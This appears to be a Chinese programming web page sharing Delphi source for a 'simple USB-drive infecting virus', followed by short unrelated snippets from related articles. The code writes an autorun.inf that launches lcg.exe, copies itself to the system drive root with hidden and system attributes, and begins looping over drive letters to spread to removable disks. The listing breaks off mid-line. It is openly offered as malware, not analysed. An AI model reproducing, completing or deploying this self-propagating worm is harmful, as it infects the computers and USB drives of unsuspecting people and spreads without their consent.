Delphi简单U盘传染病毒
program Project1;
{$APPTYPE CONSOLE}
uses
windows, Tlhelp32, SysUtils;
//===========================获得系统目录=======================================
function GetWinDir: string;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
//================================end===========================================
//=======================复制文件========begin==================================
procedure copyfilecopyfile;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0)); //获取本程序的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=lcg.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=lcg.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=lcg.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
s2:=copy(getwindir,1,1);
s3:=pchar(s2+':\autorun.inf');
s2:=pchar(s2+':\lcg.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
FileSetAttr(s2,7);
FileSetAttr(s3,7);
//==================================end=========================================
//=============================将文件复制到可移动磁盘===========================
for i:='C' to 'Z' do
if GET
相关文档:
uses ShellAPI;
procedure TForm1.Button1Click(Sender: TObject);
begin
//用IE打开
ShellExecute(Handle, 'open', 'IExplore.EXE', 'about:blank', nil, SW_SHOWNORMAL);
//用火狐打开
ShellExecute(Handle, 'open', 'firefox.exe', 'about:blank', nil, SW_SHOWNORMAL);
//用默认浏览器打开
&nbs ......
一.建立工程目录
首先,第一步要做的,当然是给新项目建一个单独的目录(别笑)。目录名称与项目名称同名,或者另取一个也可,只要清楚、简练。然后,在此目录中创建以下各个目录:
<Doc>:用来存放该项目相关的开发文档(需求说明,概要设计,详细设计等等等等);
< ......
添加引用:uses JPEG;
//=====================图片处理函数,将覆盖原图片文件===========================
//=====filename:图片完整路径 PressQuality:压缩质量 Width:宽 Height:高
function CompressMainFun(filename: String; PressQuality,Width,Height:integer): Boolean;
var
bmp: TBitmap ......